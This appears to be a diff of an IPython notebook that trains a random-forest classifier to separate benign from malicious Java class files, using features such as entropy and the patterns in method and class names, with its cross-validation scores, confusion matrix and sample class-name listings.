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\nkiRJkjQi/x+ZfJFpVZbMdgAAAABJRU5ErkJggg==\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x10ea1c590>"
+       ]
+      }
+     ],
+     "prompt_number": 153
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### We train the classifier using these new features."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "clf_methods = sklearn.ensemble.RandomForestClassifier(n_estimators=50)\n",
+      "method_name_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n",
+      "                    'acc_public', 'acc_super', 'acc_synthetic', 'ap_count', 'constant_pool_count',\n",
+      "                    'entropy', 'size', 'interface_count', 'major version', 'methods_count',\n",
+      "                    'minor version',\n",
+      "                    'method_name_digit_run_avg', 'method_name_digit_run_longest',\n",
+      "                    'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n",
+      "                    'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest']\n",
+      "\n",
+      "X = df.as_matrix(method_name_features)\n",
+      "y = np.array(df['label'].tolist())\n",
+      "\n",
+      "scores = sklearn.cross_validation.cross_val_score(clf_methods, X, y, cv=10)\n",
+      "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Accuracy: 0.950 (+/- 0.037)\n"
+       ]
+      }
+     ],
+     "prompt_number": 154
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### We do see improvement in the classifier, so that is encouraging.  But definitely still work to be done."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "import sklearn.ensemble\n",
+      "from sklearn.metrics import confusion_matrix\n",
+      "from sklearn.cross_validation import train_test_split\n",
+      "\n",
+      "# 80/20 Split for predictive test\n",
+      "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n",
+      "clf_methods.fit(X_train, y_train)\n",
+      "y_pred = clf_methods.predict(X_test)\n",
+      "labels = ['benign', 'malicious']\n",
+      "cm = confusion_matrix(y_test, y_pred, labels)\n",
+      "plot_cm(cm, labels)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Confusion Matrix Stats\n",
+        "benign/benign: 94.90% (93/98)\n",
+        "benign/malicious: 5.10% (5/98)\n",
+        "malicious/benign: 10.38% (11/106)\n",
+        "malicious/malicious: 89.62% (95/106)\n"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b62fe50>"
+       ]
+      }
+     ],
+     "prompt_number": 155
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### We check the importance from the classifier again.  The method names features are not the most important features, but they rank relatively relatively high in importance.  This explains the only slight improvement in the classifier."
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "importances = zip(method_name_features, clf_methods.feature_importances_)\n",
+      "importances.sort(key=lambda k:k[1], reverse=True)\n",
+      "for idx, im in enumerate(importances[0:15]):\n",
+      "    print (str(idx+1) + ':').ljust(4), im[0].ljust(35), round(im[1], 5)"
+     ]
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### What about the class names?"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "for idx, gcn in enumerate(df_good['class name']):\n",
+      "    print gcn\n",
+      "    if idx == 19:\n",
+      "        break"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "com/google/common/collect/ForwardingConcurrentMap\n",
+        "org/apache/hadoop/io/compress/GzipCodec$GzipOutputStream$ResetableGZIPOutputStream\n",
+        "com/google/common/collect/Multisets$UnmodifiableSortedMultiset\n",
+        "hu/openig/mechanics/StaticDefensePlanner$1\n",
+        "org/apache/commons/io/LineIterator\n",
+        "org/apache/pig/builtin/IntMax\n",
+        "org/apache/commons/lang/time/FastDateFormat$StringLiteral\n",
+        "hu/openig/screen/items/ResearchProductionScreen$15\n",
+        "org/dom4j/XPathException\n",
+        "threadWordlistExec\n",
+        "org/odlabs/wiquery/ui/autocomplete/AbstractAutocompleteComponent$InnerAutocomplete\n",
+        "org/xml/sax/ContentHandler\n",
+        "org/apache/commons/httpclient/protocol/SSLProtocolSocketFactory\n",
+        "org/apache/pig/PigException\n",
+        "org/junit/runners/Enclosed\n",
+        "org/jets3t/service/io/ProgressMonitoredInputStream\n",
+        "org/apache/pig/impl/util/CastUtils\n",
+        "com/google/common/base/Joiner$2\n",
+        "com/google/common/io/CharStreams\n",
+        "org/apache/commons/compress/archivers/cpio/CpioArchiveOutputStream\n"
+       ]
+      }
+     ],
+     "prompt_number": 157
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "for idx, gcn in enumerate(df_bad['class name']):\n",
+      "    print gcn\n",
+      "    if idx == 19:\n",
+      "        break"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "Main\n",
+        "YdCdHX/VcZaXVjyy\n",
+        "aOcMSp\n",
+        "a/zylasqwjlpbqyrwrr\n",
+        "tljpjunbjwtqlywm/sdnrybknlf\n",
+        "Mainer\n",
+        "Main\n",
+        "mNIJnGIOkm/Payload\n",
+        "aHrMCrboe/chspSxY\n",
+        "Main\n",
+        "OSrAfQWThe/SHLeanN\n",
+        "hhIji/XQDODV\n",
+        "a/dwrwbjyhllzu\n",
+        "H\n",
+        "enudwwlhl/wsshvntsenuwajehdujlchpms\n",
+        "Main\n",
+        "iACVKaBQCV/HhtBSGn\n",
+        "GondadGondadExp\n",
+        "Main\n",
+        "enudwwlhl/yhfwcgjacjjauyvut\n"
+       ]
+      }
+     ],
+     "prompt_number": 158
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Much like the method names, the malicious class names look like gibberish.  They also seem shorter and do not have a lot of slashes."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('class_name_length', 'label')\n",
+      "plt.ylabel('Class Name Length')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 159,
+       "text": [
+        "<matplotlib.text.Text at 0x12b7d9590>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
+       "png": 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SV+0Jd7PZWJmISxoN/STiAazb1m6w+gj5b4HHVRDTmj84YkOKUfCvAb+PiO3L\nU60p5vPLLctuB27pONeudWyNaevj4+OMjY0VF5s/nwULFqxMAlrTY23bngttaJa1ZvWIpy7t1kI4\ndYnHtm3btm3P7fYJJzS56ioYG2twySUwPl6cHx9v0GgMPz7btudiu/V66dKlTCZyiqsyRcQ1wK8y\n8+CIeCbwbeBvM/PL5fl3AUdkZuXJeETMB+6cQte3AZ+iSMgvy8wDO67zbooa873bV02PiJzq5yDN\ndhHUZrG2ZrO58n9ww1Snz0SSpE577dXkyisbww5DUoeIIDO77kfUz4j4acDxEfFj4AnArcD5bef3\nAq6bdpS93Qe8mDUXLt4K+ATFVmb/AVxTblN2LvCiiNi1bR/xTYDXAte7dZkkSZJmi4ceGnYEkvrV\nTyL+UeDRFNuG/QB4R2beDxARWwB/AXyo8giBzPwjcHbn8YgYK1/+sjUyXzoKOAC4ICI+AtwLHEZR\n537QTMQoqXp1GA2XJKnuFixoDDsESX2aciJezt3+t/LRee52YMsK41ormfnLcvr8B4C3U+wr/n3g\nuZl50VCDkyRJktZSs1k8AE4/Hcqljmg0ioekeptyjfiEFyhGwzfNzJ9XE9LgWSMurVKnemhrxCVJ\nmtz4eJMlSxrDDkNSh1414uv0cZFDyy3K2o99gKJW/GcRcXlEPHrtQpUkSZLUj9/9btgRSOrXlBNx\n4PXA+q1GROwB/AvwLeBkYE/grZVGJ2lOq8NouCRJdfcnf9IYdgiS+tTPYm3bA19qa78YuAt4TmY+\nGBFZHltUXXiSJEmSevnOd4YdgaR+9ZOIPxb4Q1v7AODCzHywbH8feFVVgUlSXWrEJUmqm/bF2n72\nsyaLFjUAF2uTRkU/ifjvgR0AImJLYAGwpO38JsAjlUUmSZIkqav2hPvYY2HRoiEGI6lv/dSIfxN4\nc0S8DTi9PPa1tvM7ADdXFZgkORouSVJ3hxwC8+cXj0ceaax8fcghw45M0lRMefuyiPhT4BuUo+LA\nezPz3eW59SmS8LMz840zEehMcvsyaRW36lqTn4kkqc422AAeemjYUUjq1Gv7silPTc/MX0fE04Cn\nAn/IzBvbTj8KeB1w1VpFKqkWouv/LoahCTSGHANsuumwI5AkaXXtNeIPP2yNuDRqpjwiPps5Ii7V\nU0STzMaww5AkqdYe+9gmf/hDY9hhSOpQyYh4xwU3AebTpcY8M2+azjUlaU2NYQcgSVLtPeMZjWGH\nIKlPfSU8Gnw9AAARd0lEQVTiEfEy4F3AzkACrey+9TqBdasMUJIkSdLq2qemX3LJqlXTnZoujYZ+\nFms7GPgycD1wMfB64PMUyfwhwDXAf2fm4pkJdeY4NV2qJ6emS5I0ufHxJkuWNIYdhqQOVU1Nfxtw\nHbA7sDFFIn5aZl5ULuJ2GS7WJkmSJElST/3sI74rcHpmLqeYgg7lNPTM/DFwMnBUteFJmsuOProx\n7BAkSaq98fHGsEOQ1Kd+RsTXBW4vXy8vnx/bdv564E1VBCVJsKreTZKk2Srqs2coAJZrSoPRz4j4\nzcCTADJzGXAbsEfb+R2A+6sLTdJc12ytQiNJ0iyVmWv9uPjiiyu5jkm4NDj9jIhfDhwIvKdsfxU4\nMiKWUyT0hwPnVhueJEmSJEmzSz+rpu8FHAwcm5nLImIr4AKK2nGAa4GDRnEfcVdNlyRJkiRVqdeq\n6VNOxCe4cFAk4o8AP8nMFdO+2BCZiEuSJGlULVrkuipSHc1YIj5bmIhL9eS+qJIkTS6iSWZj2GFI\n